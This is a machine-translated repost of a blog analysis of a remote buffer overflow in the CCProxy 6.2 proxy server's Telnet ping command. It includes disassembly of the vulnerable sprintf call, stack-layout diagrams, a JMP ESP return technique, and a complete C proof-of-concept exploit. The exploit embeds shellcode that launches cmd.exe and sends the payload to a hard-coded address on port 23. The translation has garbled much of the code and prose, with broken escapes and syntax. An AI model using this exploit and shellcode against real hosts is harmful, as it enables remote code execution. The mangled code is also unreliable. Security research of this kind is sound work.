[Transfer from Luoluo's Blog] ccProxy Remote Buffer Overflow Analysis

xiaoxiao2021-03-06  41

CcProxy Remote Buffer Overflow Analysis

Luoluo [Luoluonet@hotmail.com]

CcProxy's buffer overflow attack code has already been published, but I have not found a description of the vulnerability, the following

This simple buffer overflow vulnerability is briefly analyzed. Even the level is very vegetable, plus bad words, mistakes and shortcomings,

Please advise, grateful.

Test Environment: Windows2003 CCProxy 6.2

CCProxy is a lightweight proxy server software that provides remote Telnet features, Telnet

After you go, you can perform a simple command, where the parameter of the ping (p) command will be made

The buffer overflows, and an attacker can use this vulnerability to perform any code on the remote host.

This vulnerability is mainly due to the resumption of data in processing the ping command, using the Sprintf function formatted strings, which

The function does not have a boundary check, causing overflow to change the program process to perform any code.

Vulnerability code:

_Text: 00430300 SUB_0_430300 Proc Near; Code Xref: SUB_0_426B20 20P

_Text: 00430300

_Text: 00430300 var_468 = DWORD PTR-468H

_Text: 00430300 s = DWORD PTR-464H

_Text: 00430300 var_458 = dword PTR-458H

_TEXT: 00430300 VAR_454 = DWORD PTR-454H

_Text: 00430300 var_450 = DWORD PTR-450H

_Text: 00430300 var_44c = dword PTR-44CH

_Text: 00430300 var_448 = Byte PTR-448H

_Text: 00430300 var_438 = dword PTR-438H

_Text: 00430300 in = in_addr PTR-434H

_Text: 00430300 var_430 = DWORD PTR-430H

_Text: 00430300 var_42c = byte PTR-42CH

_Text: 00430300 var_428 = Byte PTR-428H

_Text: 00430300 var_418 = Byte PTR-418H

_Text: 00430300 BUF = BYTE PTR-414H

_Text: 00430300 VAR_404 = BYTE PTR-404H

_Text: 00430300 VAR_403 = BYTE PTR-403H

_Text: 00430300 var_34 = dword PTR-34H

_Text: 00430300 var_20 = dword PTR -20H

_Text: 00430300 Name = DWORD PTR-4

_Text: 00430300 arg_8 = dword PTR 0CH

_Text: 00430300

_Text: 00430300 SUB ESP, 430H_Text: 00430306 Push EBX

_Text: 00430307 PUSH EBP

_Text: 00430308 MOV EBP, ECX

_Text: 0043030A Push ESI

_Text: 0043030B Push EDI

_Text: 0043030C MOV ECX, 100H

_Text: 00430311 LEA EBX, [EBP 8]

_Text: 00430314 MOV BYTE PTR [EBP 1008H], 0

_TEXT: 0043031B Lea EDI, [ESP 440H VAR_403]

_Text: 0043031F Push 1; Protocol

_Text: 00430321 MOV BYTE PTR [EBX], 0

_Text: 00430324 MOV Al, BYTE_0_47B338

_Text: 00430329 MOV [ESP 444H VAR_404], Al

_Text: 0043032D XOR EAX, EAX

_TEXT: 0043032F REPE STOSD / / Buffer Clear 400h = 1024, Debugging

When the sequence is found, the buffer start position here is moved by one byte than the position of the assignment, and I don't know why.

_Text: 00430331 MOV ECX, [ESP 444H ARG_8]

_Text: 00430338 Push 3; Type

_TEXT: 0043033A Push 2; AF

_Text: 0043033C MOV [EBP 0], ECX

_Text: 0043033f Call DS: Socket

_Text: 00430345 CMP EAX, 0FFFFFFFFFH

_Text: 00430348 MOV [ESP 44CH VAR_438], EAX

_Text: 0043034C jnz short Loc_0_430367

_Text: 0043034E Push Offset Asocket; "Socket ()"

_Text: 00430353 MOV ECX, EBP

_Text: 00430355 CALL SUB_0_430710

_Text: 0043035A POP EDI

_Text: 0043035B POP ESI

_Text: 0043035C POP EBP

_Text: 0043035D POP EBX

_TEXT: 0043035E Add ESP, 430H

_Text: 00430364 RETN 0CH

_Text: 00430367; where is Xomotion? Where is Xomomo? Where is Xomomo?

_Text: 00430367

_Text: 00430367 LOC_0_430367:; code Xref: SUB_0_430300 4CJ

_Text: 00430367 MOV ESI, [ESP 44CH NAME]

_Text: 0043036E Push ESI; NAME

_Text: 0043036f Call DS: gethostbyname

_Text: 00430375 Test Eax, EAX

_Text: 00430377 JNZ Short Loc_0_4303DF

_Text: 00430379 Push ESI // The third parameter, the parameters of the ping command

_Text: 0043037A Lea EDX, [ESP 454H BUF]

_Text: 0043037E Push Offset AhostNotfounds; "Host Not Found:% S / R / N"

_Text: 00430383 Push EDX // First parameter, target buffer

_Text: 00430384 call _sprintf // Call the sprintf function causes overflow

_Text: 00430389 LEA EDI, [ESP 45CH BUF]

_Text: 0043038D or ECX, 0FFFFFFFH

_Text: 00430390 XOR EAX, EAX

_TEXT: 00430392 Add ESP, 0CH

_Text: 00430395 Repne Scasb

_Text: 00430397 NOT ECX

_Text: 00430399 Sub EDI, ECX

_TEXT: 0043039B Push Eax; Flags

_Text: 0043039C MOV ESI, EDI

_Text: 0043039E MOV EDX, ECX

_Text: 004303A0 MOV EDI, EBX

_Text: 004303A2 or ECX, 0FFFFFFFH

_TEXT: 004303A5 Repne Scasb

_Text: 004303A7 MOV ECX, EDX

_TEXT: 004303A9 DEC EDI_TEXT: 004303AA SHR ECX, 2

_Text: 004303AD REPE MOVSD

_Text: 004303AF MOV ECX, EDX

_Text: 004303B1 and ECX, 3

_TEXT: 004303B4 REPE MOVSB

_Text: 004303B6 LEA EDI, [ESP 454H BUF]

_Text: 004303BA or ECX, 0FFFFFFFH

_Text: 004303BD Repne Scasb

_Text: 004303BF Not ECX

_TEXT: 004303C1 DEC ECX

_Text: 004303C2 Lea Eax, [ESP 454H BUF]

_Text: 004303C6 PUSH ECX; LEN

_Text: 004303C7 MOV ECX, [EBP 0]

_Text: 004303CA PUSH EAX; BUF

_TEXT: 004303CB PUSH ECX; S

_Text: 004303cc Call DS: Send

_TEXT: 004303D2 POP EDI

_TEXT: 004303D3 POP ESI

_TEXT: 004303D4 POP EBP

_Text: 004303D5 POP EBX

_Text: 004303D6 Add ESP, 430H

_TEXT: 004303DC RETN 0CH

_Text: 004303DF;? Where is Xombe? Where is Xiyomo?

Calling the current stack before sprintf:

------- -------------------------------- ---- -------- ---------- -------- --------

| ESP | DATA | DST Buffer of Sprintf | 4 BYtes | EIP | DATA | EBP |

------- -------------------------------- ---- -------- ---------- -------- --------

| <---- 1024 Bytes ---> |

The length of the formatted string is 16 Bytes, as long as the host name of our ping command is 1016 bytes data, you can just

It is easy to override the EIP, thereby changing the program process. When you return, the address stored in the ESI exactly in a host name.

Buffer copy, you can search the JMP ESI's address as the return address to locate Shellcode. If you want to execute shellcode with JMP ESP, trouble some, because the host name is used in the vulnerability program part is a copy,

When copying, the source buffer and the target buffer are neighboring if the host name is greater than 1024 bytes, greater than 1024 Bytes

Branch is filled with a copy of the copy, so if shellcode follows the shellcode to override the address of the EIP, it is not feasible.

But there is no way, because the content of the filled is the top 1024 Bytes of the source buffer, and the length of the copy is from the length of the source string.

Degree, you can send a host name that is not less than 1024 (len of shellcode), and shellcode is filled

The top of the host name, so that shellcode will be copied to the back of the target buffer, you can use JMP ESP.

Positioning shellcode.

Figure COPY:

--- ------ --------- ------------ ------- ----- ---- -------------- ------

| ESP | DATA | SHELLCODE | Filling Data | AddR JMP ESP | NOPS | Filling Data | DATA ...

--- ------ --------- ------------ ------- ----- ---- -------------- ------

| <-------- 1024 BYTES SOURCE BUFFER ---------> | <- Start of Dst Buffer

Figure COPY:

- ----------- ------------ ---------- ----- - -------------- -------------- ------------ --- --- ----------- -

.. | SHELLCODE | Filling Data | AddR JMP ESP | NOPS | Shellcode | Filling Data | AddR JMP ESP | NOPS | Shellcode |.

- ----------- ------------ ---------- ----- - -------------- -------------- ------------ --- --- ----------- -

| <-------- 1024 BYTES SOURCE BUFFER ---------> | <---- Start of Dst Buffer | <- ESP WHEN RET

| <---- Hostname Buff To Be Formatted by Sprintf

Attached to a simple test program (non-secure return) using JMP ESP:

/ / -------------------------------------------------------------------------------------------- -----------------

// a Test Script (JMP ESP) for ccProxy 6.22 on Win2k3

// and it only Opens a cmd window for funny. :) // and it dosen't return Safely, IF The cmd window

// Was Closed, An Exception Will Be Thrown Out

// and the application will exit.

//

// created by Luoluo Luoluo_at_hotmail.com

/ / -------------------------------------------------------------------------------------------- -----------------

#include

#include

#include

#include

#pragma comment (Lib, "WS2_32")

Bool send_buff (char *, int);

Unsigned char shellcode [] =

// Decoder

"/ x8b / xc4 / x83 / xc0 / x49 / x80 / ​​x30 / x99"

"/ x83 / xc0 / x29 / x80 / ​​x30 / x99 / x83 / xc0 / x2e / x80 / ​​x30 / x99"

// system ("cmd.exe")

"/ X55 / X51 / X52 / X8B / XEC / X83 / XEC / X20 / X33 / XC9"

"/ XC6 / X45 / XF5 / X6D / XC6 / X45 / XF6 / X73"

"/ XC6 / X45 / XF7 / X76 / XC6 / X45 / XF8 / X63"

"/ XC6 / X45 / XF9 / X72 / XC6 / X45 / XFA / X74"

"/ xc6 / x45 / xfb / x2e / xc6 / x45 / xfc / x64"

"/ XC6 / X45 / XFD / X6C / XC6 / X45 / XFE / X6C"

"/ XC6 / X45 / XFF / X99 / X8D / X45 / XF5 / X50"

"/ XB9 / X0D / X85 / XE1 / X77 / XFF / XD1 / X8B / XD0"

"/ XC6 / X45 / XF5 / X73 / XC6 / X45 / XF6 / X79"

"/ XC6 / X45 / XF7 / X73 / XC6 / X45 / XF8 / X74"

"/ XC6 / X45 / XF9 / X65 / XC6 / X45 / XFA / X6D"

"/ XC6 / X45 / XFB / X99 / X8D / X45 / XF5 / X50"

"/ x52 / xb9 / xfb / x2d / xe1 / x77 / xff / xd1 / x8b / xd0"

"/ XC6 / X45 / XF5 / X63 / XC6 / X45 / XF6 / X6D"

"/ XC6 / X45 / XF7 / X64 / XC6 / X45 / XF8 / X2E"

"/ XC6 / X45 / XF9 / X65 / XC6 / X45 / XFA / X78"

"/ XC6 / X45 / XFB / X65 / XC6 / X45 / XFC / X99"

"/ X8D / X45 / XF5 / X50 / XFF / XD2 / X83 / XC4"

"/ x04 / x8b / xe5 / x5a / x59 / x5d";

Unsigned char JMP_ESP [] = "/ x46 / x7a / xe1 / x77";

Unsigned char Padding [] = "/ x90 / x90 / x90 / x90"

"/ x90 / x90 / x90 / x90";

void main ()

{

CHAR BUFF [2048];

INT I;

INT FILLING_SIZE;

CHAR BUFF2SEND [2048];

MEMSET (BUFF, 0, 2048); STRCPY (BUFF, "/ X90 / X90 / X90 / X90");

STRCAT (BUFF, Const Char *) shellcode;

Filling_size = 1024 - 4 - Strlen (const char *) shellcode - strlen (const char *) padding - 4;

For (i = 0; i

STRCAT (BUFF, "/ x90");

STRCAT (BUFF, (const char *) jmp_esp);

STRCAT (BUFF, Const Char *) Padding;

For (i = 0; i <400; i )

STRCAT (BUFF, "/ x90");

MEMSET (Buff2send, 0, 2048);

Sprintf (Buff2send, "P% S / R / N", BUFF);

/ / -------------------------------------------------------------------------------------------- ---

Send_buff (buff2send, strlen (buff2send);

}

Bool send_buff (char * buffer, int buff_size)

{

Wsadata wsadata;

Socket S;

SockAddr_in addr_in;

Char recv_buff [4096];

INT BYTES_RECV = 0;

INT BYTES_SEND = 0;

/ / -------------------------------------------------------------------------------------------- ---

IF (WsaStartup (MakeWord (2, 0), & WSADATA)! = 0)

{

Printf ("WSAStartup Failed./N);

Return False;

}

/ / -------------------------------------------------------------------------------------------- ------------

IF ((s = socket, sock_stream, ipproto_tcp) == invalid_socket)

{

Printf ("socket error./n");

Return False;

}

/ / -------------------------------------------------------------------------------------------- -----------

Addr_in.sin_family = af_INet;

Addr_in.sin_port = htons (23);

Addr_in.sin_addr.s_un.s_addr = inet_addr ("192.168.1.2");

IF (Connect (S, SockAddr *) & addr_in, sizeof (addr_in))))

{

Printf ("Connect Error./N");

Return False;

}

/ / -------------------------------------------------------------------------------------------- --------

MEMSET (RECV_BUFF, 0, 4096);

BYTES_RECV = Recv (S, RECV_BUFF, 4096, 0);

IF (Bytes_Recv == Socket_ERROR)

{

Printf ("Recv Error./N");

Return False;

}

Else if (! BYTES_RECV)

{

Printf ("Connection Closed./N" ;Return False;

}

Printf ("% d:% s / n", buff_size, rv_buff);

/ / -------------------------------------------------------------------------------------------- ----------------

BYTES_SEND = Send (s, buffer, buff_size, 0);

IF (Bytes_send == Socket_ERROR)

{

Printf ("Send Error./N");

Return False;

}

Printf ("% D Bytes Has Been Sent:% S / N", BUFF_SIZE, BUFFER);

// ------------------------------------------

CloseSocket (s);

WSACLEANUP ();

Return True;

}

---------------- EOF -------------------

转载请注明原文地址:https://www.9cbs.com/read-58879.html

New Post(0)